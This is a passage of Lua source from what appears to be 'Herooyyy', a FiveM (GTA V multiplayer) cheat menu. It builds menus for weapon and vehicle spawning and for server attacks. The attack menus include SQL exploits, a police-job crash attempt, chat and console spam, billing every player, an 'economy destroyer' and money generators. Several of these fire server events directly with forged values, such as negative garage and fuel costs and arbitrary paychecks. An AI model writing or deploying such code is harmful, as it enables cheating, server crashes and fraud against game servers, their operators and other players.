3781 Herooyyy.storedControls.weapTeleportGun = not Herooyyy.storedControls.weapTeleportGun
3782 elseif Herooyyy.checkBox('Rapid Fire', Herooyyy.storedControls.weapRapidFire) then
3783 Herooyyy.storedControls.weapRapidFire = not Herooyyy.storedControls.weapRapidFire
3784 end
3785
3786 Herooyyy.runDrawMenu()
3787 elseif Herooyyy.isMenuOpened('serverOptions') then
3788 Herooyyy.setSubTitle('serverOptions', 'Server IP: '..Herooyyy.natives.getCurrentServerEndpoint())
3789 if Herooyyy.menuButton('Server Resources', 'serverOptionsResources') then
3790 elseif Herooyyy.menuButton('Trigger Events', 'serverOptionsTriggerEvents') then
3791 elseif Herooyyy.comboBoxSlider('Ped Density', pedDensityXWords, pedDensityXCurrent, pedDensityXSelectedf,
3792 function(currentIndex, selectedIndex)
3793 pedDensityXCurrent = currentIndex
3794 pedDensityXSelectedf = currentIndex
3795 pedDensityXSelected = pedDensityX[currentIndex]
3796 end) then
3797 end
3798
3799 if Herooyyy.button('Resource', Herooyyy.natives.getCurrentResourceName()) then
3800 end
3801
3802 if Herooyyy.functions.doesResourceExist('es_extended') then
3803 if Herooyyy.datastore.es_extended then
3804 if Herooyyy.button('ESX', (tostring(Herooyyy.datastore.es_extended) == 'esx:getSharedObject' and '' or '~r~')..tostring(Herooyyy.datastore.es_extended)) then
3805 end
3806 end
3807 end
3808
3809 Herooyyy.runDrawMenu()
3810 elseif Herooyyy.isMenuOpened('serverOptionsResources') then
3811 if validResources and validResources ~= nil and #validResources > 0 then
3812 for _, resource in pairs(validResources) do
3813 if Herooyyy.menuButton(resource, 'serverOptionsResourcesSelected') then
3814 SelectedResource = resource
3815 end
3816 end
3817 else
3818 local resourcesTableYK = Herooyyy.trashFunctions.getResources()
3819 for i=1, #resourcesTableYK do
3820 if Herooyyy.button(resourcesTableYK[i]) then
3821 end
3822 end
3823 end
3824
3825 Herooyyy.runDrawMenu()
3826 elseif Herooyyy.isMenuOpened('serverOptionsResourcesSelected') then
3827 Herooyyy.setSubTitle('serverOptionsResourcesSelected', SelectedResource .. ' Data')
3828 if Herooyyy.menuButton('Client Events', 'serverOptionsResourcesSelectedCEvents') then
3829 end
3830 if Herooyyy.menuButton('Server Events', 'serverOptionsResourcesSelectedSEvents') then
3831 end
3832
3833 Herooyyy.runDrawMenu()
3834 elseif Herooyyy.isMenuOpened('serverOptionsResourcesSelectedCEvents') then
3835 Herooyyy.setSubTitle('serverOptionsResourcesSelectedCEvents', SelectedResource .. ' Client Events')
3836 for key, name in pairs(validResourceEvents[SelectedResource]) do
3837 if Herooyyy.button(name) then
3838 print(key)
3839 end
3840 end
3841
3842 Herooyyy.runDrawMenu()
3843 elseif Herooyyy.isMenuOpened('serverOptionsResourcesSelectedSEvents') then
3844 Herooyyy.setSubTitle('serverOptionsResourcesSelectedSEvents', SelectedResource .. ' Server Events')
3845 if validResourceServerEvents[SelectedResource] ~= nil then
3846 for name, payload in pairs(validResourceServerEvents[SelectedResource]) do
3847 if Herooyyy.button(name) then
3848 local tbl = msgpack.unpack(payload)
3849 local buffer = name .. '('
3850 for k, v in ipairs(tbl) do
3851 buffer = (buffer .. tostring(v) .. (k == #tbl and ')' or ', '))
3852 end
3853
3854 if #tbl == 0 then
3855 buffer = (buffer .. ')')
3856 end
3857
3858 print('^2' .. buffer)
3859 end
3860 end
3861 end
3862
3863 Herooyyy.runDrawMenu()
3864 elseif Herooyyy.isMenuOpened('menuSettings') then
3865 if Herooyyy.menuButton('Credits', 'credits') then
3866 elseif Herooyyy.menuButton('Keybinds', 'keybindSettings') then
3867 elseif Herooyyy.comboBox('Menu X', menuX, currentMenuX, selectedMenuX,
3868 function(currentIndex, selectedIndex)
3869 currentMenuX = currentIndex
3870 selectedMenuX = selectedIndex
3871 for i = 1, #Herooyyy.menus_list do
3872 Herooyyy.setMenuX(Herooyyy.menus_list[i], menuX[currentMenuX])
3873 end
3874 end)
3875 then
3876 elseif Herooyyy.comboBox('Menu Y', menuY, currentMenuY, selectedMenuY,
3877 function(currentIndex, selectedIndex)
3878 currentMenuY = currentIndex
3879 selectedMenuY = selectedIndex
3880 for i = 1, #Herooyyy.menus_list do
3881 Herooyyy.setMenuY(Herooyyy.menus_list[i], menuY[currentMenuY])
3882 end
3883 end)
3884 then
3885 elseif Herooyyy.comboBox('Maximum Displayed Options', menuOptionsCount, currentMenuOptionsCount, selectedMenuOptionsCount,
3886 function(currentIndex, selectedIndex)
3887 currentMenuOptionsCount = currentIndex
3888 selectedMenuOptionsCount = selectedIndex
3889 for i = 1, #Herooyyy.menus_list do
3890 Herooyyy.setMaxOptionCount(Herooyyy.menus_list[i], menuOptionsCount[currentMenuOptionsCount])
3891 end
3892 end)
3893 then
3894 elseif Herooyyy.comboBox('Theme', Herooyyy.menuProps.availableThemes, currentThemeIndex, selectedThemeIndex,
3895 function(currentIndex, selectedIndex)
3896 currentThemeIndex = currentIndex
3897 selectedThemeIndex = currentIndex
3898 end) then
3899 Herooyyy.menuProps.selectedTheme = Herooyyy.menuProps.availableThemes[selectedThemeIndex]
3900 Herooyyy.initTheme()
3901 elseif Herooyyy.comboBox('Checkbox Style', Herooyyy.menuProps.availableCheckboxStyles, currentCheckboxIndex, selectedCheckboxIndex,
3902 function(currentIndex, selectedIndex)
3903 currentCheckboxIndex = currentIndex
3904 selectedCheckboxIndex = currentIndex
3905 end) then
3906 Herooyyy.menuProps.selectedCheckboxStyle = Herooyyy.menuProps.availableCheckboxStyles[selectedCheckboxIndex]
3907 elseif Herooyyy.checkBox('Rainbow', Herooyyy.menuProps.selectedThemeRainbow) then
3908 Herooyyy.menuProps.selectedThemeRainbow = not Herooyyy.menuProps.selectedThemeRainbow
3909 elseif Herooyyy.checkBox('Text Outline', Herooyyy.menuProps.menu_TextOutline) then
3910 Herooyyy.menuProps.menu_TextOutline = not Herooyyy.menuProps.menu_TextOutline
3911 elseif Herooyyy.checkBox('Text Drop Shadow', Herooyyy.menuProps.menu_TextDropShadow) then
3912 Herooyyy.menuProps.menu_TextDropShadow = not Herooyyy.menuProps.menu_TextDropShadow
3913 elseif Herooyyy.checkBox('Selection Rect', Herooyyy.menuProps.menu_RectOverlay) then
3914 Herooyyy.menuProps.menu_RectOverlay = not Herooyyy.menuProps.menu_RectOverlay
3915 elseif Herooyyy.button('~r~Close Menu', Herooyyy.menuProps._mVersion) then
3916 Herooyyy.closeMenu()
3917 Herooyyy.shouldShowMenu = false
3918 end
3919
3920 Herooyyy.runDrawMenu()
3921 elseif Herooyyy.isMenuOpened('credits') then
3922 local creditsList = {
3923 'Patri~s~k Ne~s~r~s~tige~s~l | N~s~ert~s~ige~s~l#5~s~39~s~1, github.com/nertigel',
3924 'Flacko | sir Flacko#1234, github.com/flacko1337',
3925 'WarMenu | github.com/warxander/warmenu',
3926 'SkidMenu | github.com/Joeyarrabi/skidmenu',
3927 'RipTide | unknowncheats.me',
3928 'LUX | leuit#0100, inspiration and help with sprites'
3929 }
3930 for i = 1, #creditsList do
3931 if Herooyyy.button(creditsList[i]) then
3932 end
3933 end
3934
3935 Herooyyy.runDrawMenu()
3936 elseif Herooyyy.isMenuOpened('keybindSettings') then
3937 for k, v in pairs(Herooyyy.keyBinds) do
3938 if Herooyyy.button(v.label, (v.handle and '['..v.handle..']' or '[None]')) then
3939 dir_print(json.encode(Keys))
3940 local aInput = Herooyyy.trashFunctions.keyboardInput('Input New Key Name', '', 10)
3941 local key = string.upper(aInput)
3942
3943 if Keys[key] then
3944 v.handle = key
3945 Herooyyy.pushNotification('Menu bind has been set to ['..key..']', 5000)
3946 else
3947 if aInput == 'None' or aInput == nil or aInput == '' then
3948 if v == Herooyyy.keyBinds.currentKeybindMenu then
3949 Herooyyy.pushNotification('This key cannot be unbound.', 5000)
3950 else
3951 v.handle = nil
3952 Herooyyy.pushNotification('Key has been unbound.', 5000)
3953 end
3954 else
3955 Herooyyy.pushNotification('Key '..key..' is not valid!', 5000)
3956 end
3957 end
3958 end
3959 end
3960
3961 Herooyyy.runDrawMenu()
3962 elseif Herooyyy.isMenuOpened('weaponOptionsTypes') then
3963 for yeet, ayy in pairs(Herooyyy.trashTables.weaponsTable) do
3964 if Herooyyy.menuButton(yeet, 'weaponOptionsTypeSelection') then
3965 weaponOptionsSelected = ayy
3966 end
3967 end
3968
3969 Herooyyy.runDrawMenu()
3970 elseif Herooyyy.isMenuOpened('weaponOptionsTypeSelection') then
3971 for _, ayy in pairs(weaponOptionsSelected) do
3972 if Herooyyy.menuButton(ayy.name, 'weaponsModOptions') then
3973 weaponOptionsSelectedWeapon = ayy
3974 end
3975 end
3976
3977 Herooyyy.runDrawMenu()
3978 elseif Herooyyy.isMenuOpened('weaponsModOptions') then
3979 if Herooyyy.button('Spawn Weapon') then
3980 Herooyyy.natives.giveWeaponToPed(GetPlayerPed(-1), GetHashKey(weaponOptionsSelectedWeapon.id), 1000, false)
3981 elseif Herooyyy.button('Add Ammo') then
3982 SetPedAmmo(GetPlayerPed(-1), GetHashKey(weaponOptionsSelectedWeapon.id), 250)
3983 elseif Herooyyy.checkBox('Infinite Ammo', weaponOptionsSelectedWeapon.bInfAmmo) then
3984 weaponOptionsSelectedWeapon.bInfAmmo = not weaponOptionsSelectedWeapon.bInfAmmo
3985 SetPedInfiniteAmmo(GetPlayerPed(-1), weaponOptionsSelectedWeapon.bInfAmmo, GetHashKey(weaponOptionsSelectedWeapon.id))
3986 SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
3987 PedSkipNextReloading(GetPlayerPed(-1))
3988 end
3989 for yeet, ayy in pairs(weaponOptionsSelectedWeapon.mods) do
3990 if Herooyyy.menuButton(yeet, 'weaponsModSelect') then
3991 weaponOptionsSelectedMod = ayy
3992 end
3993 end
3994
3995 Herooyyy.runDrawMenu()
3996 elseif Herooyyy.isMenuOpened('weaponsModSelect') then
3997 for _, ev in pairs(weaponOptionsSelectedMod) do
3998 if Herooyyy.button(ev.name) then
3999 GiveWeaponComponentToPed(GetPlayerPed(-1), GetHashKey(weaponOptionsSelectedWeapon.id), GetHashKey(ev.id))
4000 end
4001 end
4002
4003 Herooyyy.runDrawMenu()
4004 elseif Herooyyy.isMenuOpened('savedVehiclesOptions') then
4005 Herooyyy.setSubTitle('savedVehiclesOptions', #Herooyyy.datastore.savedVehicles..' Saved Vehicles')
4006 if Herooyyy.button('Save Current Vehicle', 'Input') then
4007 if IsPedInAnyVehicle(Herooyyy.datastore.pLocalPlayer.pedId) then
4008 local cInput = Herooyyy.trashFunctions.keyboardInput('name', '', 100)
4009 if Herooyyy.functions.game.isNullOrEmpty(cInput) then cInput = 'un-named' end
4010
4011 local rGlobal = {name = cInput, props = Herooyyy.functions.game.getVehicleProperties(Herooyyy.datastore.pLocalPlayer.cVehicle)}
4012 if rGlobal and rGlobal.props then
4013 table.insert(Herooyyy.datastore.savedVehicles, rGlobal)
4014 end
4015 end
4016 end
4017
4018 if Herooyyy.datastore.savedVehicles and #Herooyyy.datastore.savedVehicles > 0 then
4019 for _i=1, #Herooyyy.datastore.savedVehicles do
4020 if Herooyyy.menuButton(Herooyyy.datastore.savedVehicles[_i].name..' | '..Herooyyy.datastore.savedVehicles[_i].props.model, 'selectedSavedVehicleOptions') then
4021 Herooyyy.datastore.savedVehiclesOptionsHandle = Herooyyy.datastore.savedVehicles[_i]
4022 Herooyyy.datastore.savedVehiclesOptionsDeleteHandle = _i
4023 end
4024 end
4025 end
4026
4027 Herooyyy.runDrawMenu()
4028 elseif Herooyyy.isMenuOpened('selectedSavedVehicleOptions') then
4029 if Herooyyy.button('Spawn Vehicle', 'Native') then
4030 local carToSpawn = Herooyyy.datastore.savedVehiclesOptionsHandle
4031 if carToSpawn.props then
4032 Herooyyy.functions.spawnCustomVehicle({hash = carToSpawn.props.model, props = carToSpawn.props, setIn = true})
4033 end
4034 elseif Herooyyy.button('Remove Vehicle', 'Native') then
4035 table.remove(Herooyyy.datastore.savedVehicles, Herooyyy.datastore.savedVehiclesOptionsDeleteHandle)
4036 Herooyyy.openMenu('savedVehiclesOptions')
4037 end
4038
4039 Herooyyy.runDrawMenu()
4040 elseif Herooyyy.isMenuOpened('vehicleLosSantosCustoms') then
4041 if Herooyyy.menuButton('Cosmetic Upgrades', 'vehicleLosSantosCustomsCosmetics') then
4042 elseif Herooyyy.menuButton('Performance Upgrades', 'vehicleLosSantosCustomsPerformance') then
4043 elseif Herooyyy.button('Change License Plate', 'Native') then
4044 local plateInput = Herooyyy.trashFunctions.keyboardInput('Enter Plate Text (8 Characters):', 'herooyyy', 8)
4045 if not Herooyyy.functions.game.isNullOrEmpty(plateInput) then
4046 Herooyyy.trashFunctions.reqControlOnce(Herooyyy.datastore.pLocalPlayer.cVehicle)
4047 SetVehicleNumberPlateText(Herooyyy.datastore.pLocalPlayer.cVehicle, plateInput)
4048 end
4049 elseif Herooyyy.button('Max Peformance Upgrades', 'Native') then
4050 Herooyyy.functions.maxPerformanceUpgrades(GetVehiclePedIsIn(Herooyyy.datastore.pLocalPlayer.pedId))
4051 elseif Herooyyy.button('Max All Upgrades', 'Native') then
4052 Herooyyy.functions.maxUpgrades(GetVehiclePedIsIn(Herooyyy.datastore.pLocalPlayer.pedId))
4053 end
4054
4055 Herooyyy.runDrawMenu()
4056 elseif Herooyyy.isMenuOpened('vehicleLosSantosCustomsCosmetics') then
4057 if IsPedInAnyVehicle(Herooyyy.datastore.pLocalPlayer.pedId, 0) then
4058
4059 else
4060 if Herooyyy.button('You\'re not inside a vehicle') then
4061 end
4062 end
4063 Herooyyy.runDrawMenu()
4064 elseif Herooyyy.isMenuOpened('vehicleLosSantosCustomsPerformance') then
4065 if IsPedInAnyVehicle(Herooyyy.datastore.pLocalPlayer.pedId, 0) then
4066 Herooyyy.functions.initializeUpgradesTab()
4067 if IsToggleModOn(Herooyyy.datastore.pLocalPlayer.cVehicle, 18) then
4068 turboStatus = '~g~Installed'
4069 else
4070 turboStatus = '~r~Not Installed'
4071 end
4072 if Herooyyy.button('Turbo', turboStatus) then
4073 if not IsToggleModOn(Herooyyy.datastore.pLocalPlayer.cVehicle, 18) then
4074 ToggleVehicleMod(Herooyyy.datastore.pLocalPlayer.cVehicle, 18, not IsToggleModOn(Herooyyy.datastore.pLocalPlayer.cVehicle, 18))
4075 else
4076 ToggleVehicleMod(Herooyyy.datastore.pLocalPlayer.cVehicle, 18, not IsToggleModOn(Herooyyy.datastore.pLocalPlayer.cVehicle, 18))
4077 end
4078 end
4079 else
4080 if Herooyyy.button('You\'re not inside a vehicle') then
4081 end
4082 end
4083
4084 Herooyyy.runDrawMenu()
4085 elseif Herooyyy.isMenuOpened('vehicleSpawnList') then
4086 if Herooyyy.checkBox('Spawn Upgraded', Herooyyy.storedControls.vehSpawnUpgraded) then
4087 Herooyyy.storedControls.vehSpawnUpgraded = not Herooyyy.storedControls.vehSpawnUpgraded
4088 elseif Herooyyy.checkBox('Spawn Inside', Herooyyy.storedControls.vehSpawnInside) then
4089 Herooyyy.storedControls.vehSpawnInside = not Herooyyy.storedControls.vehSpawnInside
4090 elseif Herooyyy.button('Spawn Custom Vehicle', 'Native') then
4091 local ModelName = Herooyyy.trashFunctions.keyboardInput('Enter Vehicle Spawn Name', '', 100)
4092 if ModelName and IsModelValid(ModelName) and IsModelAVehicle(ModelName) then
4093 Herooyyy.functions.spawnCustomVehicle({hash = GetHashKey(ModelName), setIn = Herooyyy.storedControls.vehSpawnInside})
4094 else
4095 Herooyyy.pushNotification('Model is not valid!', 5000)
4096 end
4097 elseif Herooyyy.button('Spawn & Ride Train', 'Native') then
4098 Herooyyy.functions.spawnRandomTrain()
4099 end
4100 for yeet, ayy in ipairs(Herooyyy.trashTables.vehicleCategories) do
4101 if Herooyyy.menuButton(ayy, 'vehicleSpawnSelected') then
4102 selectedCarTypeIdx = yeet
4103 end
4104 end
4105
4106 Herooyyy.runDrawMenu()
4107 elseif Herooyyy.isMenuOpened('vehicleSpawnSelected') then
4108 for yeet, ayy in ipairs(Herooyyy.trashTables.fullVehiclesList[selectedCarTypeIdx]) do
4109 local vehname = GetLabelText(ayy)
4110 if vehname == 'NULL' then vehname = ayy end
4111 if Herooyyy.menuButton(vehname, 'vehicleSpawnSelectedOptions') then
4112 selectedCarToSpawn = yeet
4113 end
4114 end
4115 Herooyyy.runDrawMenu()
4116 elseif Herooyyy.isMenuOpened('vehicleSpawnSelectedOptions') then
4117 if Herooyyy.button('Spawn Car') then
4118 Herooyyy.functions.spawnVehicle(Herooyyy.trashTables.fullVehiclesList[selectedCarTypeIdx][selectedCarToSpawn])
4119 end
4120
4121 Herooyyy.runDrawMenu()
4122 elseif Herooyyy.isMenuOpened('serverOptionsTriggerEvents') then
4123 if Herooyyy.menuButton('ESX Triggers', 'serverOptionsTriggerEventsESX') then
4124 elseif Herooyyy.menuButton('vRP Triggers', 'serverOptionsTriggerEventsVRP') then
4125 elseif Herooyyy.button('Spam Chat', 'Server') then
4126 local message = Herooyyy.trashFunctions.keyboardInput('Enter message', 'www.herooyyy | discord.gg/fjBp55t', 60)
4127 Herooyyy.functions.spamChat(message)
4128 elseif Herooyyy.button('InteractSound Earrape', 'Server') then
4129 Herooyyy.functions.exploits.interactSound()
4130 end
4131
4132 Herooyyy.runDrawMenu()
4133 elseif Herooyyy.isMenuOpened('serverOptionsTriggerEventsESX') then
4134 if Herooyyy.menuButton('Money & Item Options', 'serverOptionsTriggerEventsESXMoney') then
4135 elseif Herooyyy.button('Skin Changer', 'Client') then
4136 if Herooyyy.functions.doesResourceExist('esx_skin') then
4137 Herooyyy.closeMenu()
4138 Herooyyy.dTCE(false, false, 'esx_skin:openRestrictedMenu', function(data, menu) end)
4139 else Herooyyy.pushNotification('Resource was not found!', 5000) end
4140 elseif Herooyyy.button('Unrestrain Handcuffs', 'Client') then
4141 if Herooyyy.functions.doesResourceExist('esx_policejob') then
4142 Herooyyy.dTCE(false, false, 'esx_policejob:unrestrain')
4143 else Herooyyy.pushNotification('Resource was not found!', 5000) end
4144 elseif Herooyyy.button('Full Hunger', 'Client') then
4145 if Herooyyy.functions.doesResourceExist('esx_status') then
4146 Herooyyy.dTCE(false, false, 'esx_status:set', 'hunger', 1000000)
4147 else Herooyyy.pushNotification('Resource was not found!', 5000) end
4148 elseif Herooyyy.button('Full Thirst', 'Client') then
4149 if Herooyyy.functions.doesResourceExist('esx_status') then
4150 Herooyyy.dTCE(false, false, 'esx_status:set', 'thirst', 1000000)
4151 else Herooyyy.pushNotification('Resource was not found!', 5000) end
4152 elseif Herooyyy.button('Tuner Chip', 'Client') then
4153 if Herooyyy.functions.doesResourceExist('tunerchip') or Herooyyy.functions.doesResourceExist('tunerlaptop') or
4154 Herooyyy.functions.doesResourceExist('xgc-tuner') or Herooyyy.functions.doesResourceExist('tuninglaptop') then
4155 Herooyyy.dTCE(false, false, 'xgc-tuner:openTuner')
4156 Herooyyy.dTCE(false, false, 'tuning:useLaptop')
4157 else Herooyyy.pushNotification('Resource was not found!', 5000) end
4158 elseif Herooyyy.button('Open Jail Menu ~(!)', 'Client') then
4159 if Herooyyy.functions.doesResourceExist('esx-qalle-jail') or Herooyyy.functions.doesResourceExist('esx_qalle_jail') then
4160 Herooyyy.dTCE(false, false, 'esx-qalle-jail:openJailMenu')
4161 else Herooyyy.pushNotification('Resource was not found!', 5000) end
4162 elseif Herooyyy.button('Spawn Owned Vehicle', 'Server') then
4163 local ModelName = Herooyyy.trashFunctions.keyboardInput('Enter Vehicle Spawn Name', '', 20)
4164 local PlateNumber = Herooyyy.trashFunctions.keyboardInput('Enter Vehicle Plate Number', '', 8)
4165 Herooyyy.functions.sPO.SpawnLegalVehicle(ModelName, PlayerId(), PlateNumber)
4166 elseif Herooyyy.button('Sell Owned Vehicle', 'Server') then
4167 Herooyyy.functions.sPO.ESXSellVehicle()
4168 elseif Herooyyy.button('Finish Community Service', 'Server') then
4169 Herooyyy.dTCE(false, true, 'esx_communityservice:finishCommunityService', -1)
4170 elseif Herooyyy.button('Get All Licenses', 'Server') then
4171 Herooyyy.functions.exploits.esx_givelicenses()
4172 elseif Herooyyy.button('GCPhone Earrape', 'Server') then
4173 Herooyyy.functions.exploits.gcphoneTwitter()
4174 elseif Herooyyy.button('Licenses SQL Exploit', 'Server') then
4175 Herooyyy.functions.exploits.esx_license()
4176 elseif Herooyyy.button('Police Alert Spam', 'Server') then
4177 Herooyyy.functions.exploits.esx_outlawalert()
4178 elseif Herooyyy.button('Bill Everyone', 'Server') then
4179 Herooyyy.functions.exploits.esx_billing()
4180 elseif Herooyyy.button('Phone J~s~obs Spam', 'Server') then
4181 Herooyyy.functions.exploits.phoneSpam()
4182 elseif Herooyyy.button('Spam Server Console', 'Server') then
4183 Herooyyy.functions.exploits.esx_spam_server_console()
4184 elseif Herooyyy.button('Police Job Crash Attempt ~r~(!)', 'Server') then
4185 Herooyyy.functions.exploits.esx_policejob_crash()
4186 elseif Herooyyy.comboBox('Open Boss Menu ~r~(!)', availableESXBossMenus, currentESXOpenBossMenu, selectedESXOpenBossMenu,
4187 function(currentIndex, selectedIndex)
4188 currentESXOpenBossMenu = currentIndex
4189 selectedESXOpenBossMenu = currentIndex
4190 end)
4191 then
4192 Herooyyy.dTCE(false, false, 'esx_society:openBossMenu', string.lower(availableESXBossMenus[selectedESXOpenBossMenu]), function(data, menu) menu.close() end)
4193 Herooyyy.closeMenu()
4194 elseif Herooyyy.comboBox('Kashacters SQL Exploit', Herooyyy.menuTables.serverKashactersSQL.words, Herooyyy.menuTables.serverKashactersSQL.current, Herooyyy.menuTables.serverKashactersSQL.selected,
4195 function(currentIndex, selectedIndex)
4196 Herooyyy.menuTables.serverKashactersSQL.current = currentIndex
4197 Herooyyy.menuTables.serverKashactersSQL.selected = currentIndex
4198 Herooyyy.menuTables.serverKashactersSQL.actual = Herooyyy.menuTables.serverKashactersSQL.lists[Herooyyy.menuTables.serverKashactersSQL.selected]
4199 end)
4200 then
4201 Herooyyy.functions.exploits.esx_kashacters(false, 'clean', Herooyyy.menuTables.serverKashactersSQL.actual)
4202 end
4203
4204 Herooyyy.runDrawMenu()
4205 elseif Herooyyy.isMenuOpened('serverOptionsTriggerEventsESXMoney') then
4206 if Herooyyy.comboBox('Harvest Items ~r~(!)', {'Weed', 'Opium', 'Meth', 'Coke', 'Gaz Bottle', 'Fix Tool', 'Caro Tool'}, currentESXHarvestItem, selectedESXHarvestItem,
4207 function(currentIndex, selectedIndex)
4208 currentESXHarvestItem = currentIndex
4209 selectedESXHarvestItem = currentIndex
4210 end)
4211 then
4212 Herooyyy.functions.exploits.esx_harvestitems()
4213 elseif Herooyyy.comboBox('Generate Job Paycheck ~r~(!)', Herooyyy.menuTables.exploitableJobsTable.Money, currentESXJobPaycheck, selectedESXJobPaycheck,
4214 function(currentIndex, selectedIndex)
4215 currentESXJobPaycheck = currentIndex
4216 selectedESXJobPaycheck = currentIndex
4217 end)
4218 then
4219 local money = Herooyyy.trashFunctions.keyboardInput('Enter the amount of money for paycheck', '', 10)
4220 if not Herooyyy.functions.game.isNullOrEmpty(money) then
4221 Herooyyy.dTCE(false, true, Herooyyy.menuTables.exploitableJobsTable.Money.Value[selectedESXJobPaycheck]..':pay', tonumber(money))
4222 end
4223 elseif Herooyyy.comboBox('Spawn J~s~obs Items ~r~(!)', Herooyyy.menuTables.exploitableJobsTable.Item, currentESXItemSpawn, selectedESXItemSpawn,
4224 function(currentIndex, selectedIndex)
4225 currentESXItemSpawn = currentIndex
4226 selectedESXItemSpawn = currentIndex
4227 end)
4228 then
4229 Herooyyy.functions.exploits.esx_jobitems()
4230 elseif Herooyyy.comboBox('Spawn Custom Items ~r~(!)', Herooyyy.menuTables.customExploitableItems.Item, currentESXCustomItemSpawn, selectedESXCustomItemSpawn,
4231 function(currentIndex, selectedIndex)
4232 currentESXCustomItemSpawn = currentIndex
4233 selectedESXCustomItemSpawn = currentIndex
4234 end)
4235 then
4236 Herooyyy.functions.exploits.esx_spawncustomitems()
4237 elseif Herooyyy.button('Spawn A Custom Item ~r~(!)', 'Server') then
4238 Herooyyy.functions.exploits.esx_spawncustomitem()
4239 elseif Herooyyy.button('Stop Harvesting ~r~(!)', 'Server') then
4240 Herooyyy.functions.exploits.esx_harvest_stop()
4241 elseif Herooyyy.button('Wash Dirty Money ~r~(!)', 'Server') then
4242 Herooyyy.functions.exploits.esx_moneywash()
4243 elseif Herooyyy.button('Moneymaker ~r~(!)', 'Server') then
4244 Herooyyy.functions.exploits.esx_moneymaker()
4245 elseif Herooyyy.button('Destory Economy ~r~(!)', 'Server') then
4246 Herooyyy.functions.exploits.run_esx_moneymaker(1337539100, 25)
4247 Herooyyy.functions.exploits.esx_give_something('item_money', 'money', 10000000)
4248 for yeet=0, #Herooyyy.natives.getActivePlayers() do
4249 Herooyyy.functions.sPO.SpawnLegalVehicle('blista', yeet, Herooyyy.trashFunctions.getRandomLetter(3) .. ' ' .. Herooyyy.trashFunctions.getRandomNumber(4))
4250 end
4251 end
4252
4253 Herooyyy.runDrawMenu()
4254 elseif Herooyyy.isMenuOpened('serverOptionsTriggerEventsVRP') then
4255 if Herooyyy.button('Toggle Handcuffs', 'Client') then
4256 vRP.toggleHandcuff()
4257 elseif Herooyyy.button('Clear Wanted Level', 'Client') then
4258 vRP.applyWantedLevel(0)
4259 elseif Herooyyy.button('Trucker Job Money', 'Client') then
4260 local money = Herooyyy.trashFunctions.keyboardInput('Enter $ Amount:', '', 12)
4261 if not Herooyyy.functions.game.isNullOrEmpty(money) then
4262 local distance = money / 3.80 --[[ money is distance*3.80]]
4263 vRPtruckS = Tunnel.getInterface('vRP_trucker', 'vRP_trucker')
4264 vRPtruckS.finishTruckingDelivery({distance})
4265 end
4266 elseif Herooyyy.button('Casino Chips', 'Client') then
4267 local amount = Herooyyy.trashFunctions.keyboardInput('Enter Chips Amount:', '', 12)
4268 if not Herooyyy.functions.game.isNullOrEmpty(amount) then
4269 vRPcasinoS = Tunnel.getInterface('vRP_casino','vRP_casino')
4270 vRPcasinoS.payRouletteWinnings({amount, 2})
4271 end
4272 elseif Herooyyy.button('Chests Money', 'Server') then
4273 Herooyyy.dTCE(true, true, 'basic')
4274 Herooyyy.dTCE(true, true, 'silver')
4275 Herooyyy.dTCE(true, true, 'legendary')
4276 elseif Herooyyy.button('Los Santos Customs', 'Server') then
4277 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
4278 if not Herooyyy.functions.game.isNullOrEmpty(m) then
4279 Herooyyy.dTCE(false, true, 'lscustoms:payGarage', { costs = -m })
4280 end
4281 elseif Herooyyy.button('Slot Machine', 'Server') then
4282 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
4283 if not Herooyyy.functions.game.isNullOrEmpty(m) then
4284 Herooyyy.dTCE(false, true, 'vrp_slotmachine:server:2', m)
4285 end
4286 elseif Herooyyy.button('Legacy Fuel', 'Server') then
4287 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
4288 if not Herooyyy.functions.game.isNullOrEmpty(m) then
4289 Herooyyy.dTCE(false, true, 'LegacyFuel:PayFuel', { costs = -m })
4290 end
4291 elseif Herooyyy.button('Get Driving License', 'Server') then
4292 Herooyyy.dTCE(false, true, 'dmv:success')
4293 elseif Herooyyy.button('Bank Deposit', 'Server') then
4294 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
4295 if not Herooyyy.functions.game.isNullOrEmpty(m) then
4296 Herooyyy.dTCE(false, true, 'Banca:deposit', m)
4297 Herooyyy.dTCE(false, true, 'bank:deposit', m)
4298 end
4299 elseif Herooyyy.button('Bank Withdraw', 'Server') then
4300 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
4301 if not Herooyyy.functions.game.isNullOrEmpty(m) then
4302 Herooyyy.dTCE(false, true, 'bank:withdraw', m)
4303 Herooyyy.dTCE(false, true, 'Banca:withdraw', m)
4304 end
4305 end
4306
4307 Herooyyy.runDrawMenu()
4308 end
4309
4310 local currentVehicle = Herooyyy.datastore.pLocalPlayer.cVehicle
4311 if currentVehicle then
4312 SetVehicleModKit(currentVehicle, 0)
4313 for i, actual_i in pairs(Herooyyy.menuTables.vehiclePerformanceTable) do
4314 if Herooyyy.isMenuOpened('vehicleLosSantosCustomsPerformance'..actual_i.name) then
4315 local modType = actual_i.id
4316 local modName = actual_i.name..' Level '
4317 local modCount = GetNumVehicleMods(currentVehicle, modType) - 1
4318 for i=0, modCount, 1 do
4319 if Herooyyy.button(modName..i, 'Native') then
4320 SetVehicleMod(currentVehicle, modType, i)
4321 end
4322 end
4323
4324 Herooyyy.runDrawMenu()
4325 end
4326 end
4327 end
4328
4329 --[[local currentVehicle = Herooyyy.datastore.pLocalPlayer.cVehicle
4330 if currentVehicle then
4331 SetVehicleModKit(currentVehicle, 0)
4332 local modType = 15
4333 local modName = 'Suspension Level '
4334 local modCount = GetNumVehicleMods(currentVehicle, modType) - 1
4335 for i=0, modCount, 1 do
4336 if Herooyyy.button(modName..i, 'Native') then
4337 SetVehicleMod(currentVehicle, modType, i)
4338 end
4339 end
4340 end]]
4341
4342 --[[
4343 Notifications
4344 ]]
4345
4346 if #Herooyyy.cachedNotifications > 0 then
4347 for notificationIndex = 1, #Herooyyy.cachedNotifications do
4348 local notification = Herooyyy.cachedNotifications[notificationIndex]
4349
4350 if notification then
4351 notification['opacity'] = (notification['opacity'] or (notification['time'] / 1000) * 60) - 1
4352
4353 local offset = 0.005 + (notificationIndex * .05)
4354 local notificationTimer = (GetGameTimer() - notification['startTime']) / notification['time'] * 100
4355
4356 Herooyyy.draw_3D(0.5, 0.8 * offset, notification['text'], notification['opacity'])
4357
4358 if notificationTimer >= 100 then
